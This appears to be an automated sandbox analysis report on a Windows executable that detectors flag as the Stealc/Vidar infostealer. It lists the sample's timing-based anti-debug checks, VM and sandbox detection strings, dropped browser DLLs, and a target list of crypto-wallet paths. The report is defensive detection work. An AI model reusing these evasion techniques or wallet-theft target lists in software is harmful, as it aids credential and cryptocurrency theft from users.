Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50109BF second address: 50109B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F4F51F9Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F53F4F51EFDh 0x00000011 mov al, byte ptr [edx] 0x00000013 pushad 0x00000014 mov bl, cl 0x00000016 call 00007F53F4F51FA3h 0x0000001b pushfd 0x0000001c jmp 00007F53F4F51FA8h 0x00000021 adc ch, FFFFFFF8h 0x00000024 jmp 00007F53F4F51F9Bh 0x00000029 popfd 0x0000002a pop eax 0x0000002b popad 0x0000002c inc edx 0x0000002d pushad 0x0000002e mov ax, dx 0x00000031 mov ecx, ebx 0x00000033 popad 0x00000034 test al, al 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 pushfd 0x0000003a jmp 00007F53F4F51FA4h 0x0000003f add ch, FFFFFF88h 0x00000042 jmp 00007F53F4F51F9Bh 0x00000047 popfd 0x00000048 movzx ecx, dx 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50109E0 second address: 5010A28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F53F481BA81h 0x00000008 mov edx, ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d sub edx, esi 0x0000000f jmp 00007F53F481BA83h 0x00000014 mov edi, dword ptr [ebp+08h] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F53F481BA85h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010A28 second address: 5010A38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F53F4F51F9Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010A38 second address: 5010A4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 dec edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov eax, 08FE5B7Fh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010A4B second address: 5010A50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010A50 second address: 5010A8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F53F481BA81h 0x00000009 adc si, 0C26h 0x0000000e jmp 00007F53F481BA81h 0x00000013 popfd 0x00000014 mov ecx, 618EC157h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c lea ebx, dword ptr [edi+01h] 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010A8D second address: 5010A91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010A91 second address: 5010AA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F481BA7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010AA0 second address: 5010AB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F53F4F51FA4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010AB8 second address: 5010ADF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F481BA7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov al, byte ptr [edi+01h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 call 00007F53F481BA7Bh 0x00000016 pop eax 0x00000017 movsx edi, si 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010ADF second address: 5010B81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F53F4F51FA1h 0x00000009 add eax, 18193EF6h 0x0000000f jmp 00007F53F4F51FA1h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F53F4F51FA0h 0x0000001b or cx, E018h 0x00000020 jmp 00007F53F4F51F9Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 inc edi 0x0000002a pushad 0x0000002b call 00007F53F4F51FA4h 0x00000030 push ecx 0x00000031 pop ebx 0x00000032 pop ecx 0x00000033 mov bl, 53h 0x00000035 popad 0x00000036 test al, al 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b pushfd 0x0000003c jmp 00007F53F4F51F9Bh 0x00000041 xor ecx, 43934A3Eh 0x00000047 jmp 00007F53F4F51FA9h 0x0000004c popfd 0x0000004d mov ah, 51h 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010B81 second address: 5010BC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, dx 0x00000006 call 00007F53F481BA85h 0x0000000b pop esi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jne 00007F5465A33955h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F53F481BA89h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010BC3 second address: 5010BC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010BC9 second address: 5010BCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010BCF second address: 5010BD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010BD3 second address: 5010BEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F53F481BA7Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010BEE second address: 5010C19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 mov edx, esi 0x0000000b popad 0x0000000c popad 0x0000000d shr ecx, 02h 0x00000010 jmp 00007F53F4F51FA6h 0x00000015 rep movsd 0x00000017 rep movsd 0x00000019 rep movsd 0x0000001b rep movsd 0x0000001d rep movsd 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010C19 second address: 5010CA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov ecx, edx 0x00000007 pushad 0x00000008 mov si, dx 0x0000000b pushfd 0x0000000c jmp 00007F53F481BA7Dh 0x00000011 add ch, FFFFFFA6h 0x00000014 jmp 00007F53F481BA81h 0x00000019 popfd 0x0000001a popad 0x0000001b and ecx, 03h 0x0000001e jmp 00007F53F481BA7Eh 0x00000023 rep movsb 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007F53F481BA7Eh 0x0000002c sbb ah, 00000078h 0x0000002f jmp 00007F53F481BA7Bh 0x00000034 popfd 0x00000035 movzx ecx, di 0x00000038 popad 0x00000039 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000040 jmp 00007F53F481BA7Bh 0x00000045 mov eax, ebx 0x00000047 pushad 0x00000048 mov ecx, 428AB6BBh 0x0000004d mov bx, si 0x00000050 popad 0x00000051 mov ecx, dword ptr [ebp-10h] 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 mov eax, ebx 0x00000059 pushad 0x0000005a popad 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010CA7 second address: 5010D93 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F4F51F9Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr fs:[00000000h], ecx 0x00000010 pushad 0x00000011 movzx ecx, bx 0x00000014 call 00007F53F4F51FA3h 0x00000019 mov edi, ecx 0x0000001b pop esi 0x0000001c popad 0x0000001d pop ecx 0x0000001e pushad 0x0000001f mov bx, 8A44h 0x00000023 mov dx, 06B0h 0x00000027 popad 0x00000028 pop edi 0x00000029 pushad 0x0000002a jmp 00007F53F4F51FA5h 0x0000002f movzx esi, di 0x00000032 popad 0x00000033 pop esi 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007F53F4F51FA9h 0x0000003b adc si, D396h 0x00000040 jmp 00007F53F4F51FA1h 0x00000045 popfd 0x00000046 pushfd 0x00000047 jmp 00007F53F4F51FA0h 0x0000004c sbb cx, 4BB8h 0x00000051 jmp 00007F53F4F51F9Bh 0x00000056 popfd 0x00000057 popad 0x00000058 pop ebx 0x00000059 pushad 0x0000005a pushfd 0x0000005b jmp 00007F53F4F51FA4h 0x00000060 or cx, 0618h 0x00000065 jmp 00007F53F4F51F9Bh 0x0000006a popfd 0x0000006b popad 0x0000006c leave 0x0000006d push eax 0x0000006e push edx 0x0000006f jmp 00007F53F4F51FA0h 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020018 second address: 502001C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502001C second address: 5020037 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F4F51FA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020037 second address: 502003D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502003D second address: 5020085 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F4F51F9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F53F4F51FA9h 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F53F4F51FA8h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020085 second address: 5020089 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020089 second address: 502008F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502008F second address: 50200D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F481BA7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F53F481BA7Dh 0x00000014 xor si, 6336h 0x00000019 jmp 00007F53F481BA81h 0x0000001e popfd 0x0000001f mov esi, 225CC727h 0x00000024 popad 0x00000025 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 73D89B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8E4486 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 90DD6D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8ED52B instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.5 %

Source: C:\Users\user\Desktop\file.exe TID: 1612	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 500	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3536	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6236	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6600	Thread sleep time: -50025s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA2C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6CA2C930

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: GDAECAEC.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: file.exe, file.exe, 00000000.00000002.2600230763.00000000008C5000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: GDAECAEC.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: GDAECAEC.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: GDAECAEC.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: GDAECAEC.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: GDAECAEC.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2601720478.00000000012C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2601720478.0000000001294000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: GDAECAEC.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: msedge.exe, 00000007.00000003.2357921786.000078C8002C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware20,1(
Source: GDAECAEC.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: GDAECAEC.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: GDAECAEC.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: GDAECAEC.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: file.exe, 00000000.00000002.2601720478.000000000124E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwares
Source: GDAECAEC.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: msedge.exe, 00000007.00000002.2435777053.0000024AF9C40000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: GDAECAEC.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file.exe, 00000000.00000002.2625998166.00000000235B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1RECOVE~1470bankoRecoveryImprovedVMware20,11696487552x
Source: GDAECAEC.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: GDAECAEC.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: GDAECAEC.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: GDAECAEC.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file.exe, 00000000.00000002.2625998166.00000000235B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696487552x
Source: GDAECAEC.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: GDAECAEC.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: GDAECAEC.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: GDAECAEC.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: GDAECAEC.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: GDAECAEC.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2601720478.000000000124E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: GDAECAEC.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: GDAECAEC.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: GDAECAEC.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: GDAECAEC.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: GDAECAEC.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: GDAECAEC.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2600230763.00000000008C5000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: GDAECAEC.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: GDAECAEC.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA75FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CA75FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6CA13480

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6CA4B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CA4B1F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBFAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CBFAC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 5008, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2600230763.00000000008C5000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA4B341 cpuid

0_2_6CA4B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA135A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6CA135A0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.450000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2601720478.000000000124E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2139158406.0000000004E80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2599315739.0000000000451000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5008, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5008, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2601720478.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Electrum-LTC\wallets\\..*IRU
Source: file.exe, 00000000.00000002.2599315739.0000000000564000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000000.00000002.2599315739.0000000000536000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2601720478.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\window-state.json[Qg
Source: file.exe, 00000000.00000002.2599315739.00000000006BE000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Desktop (old)
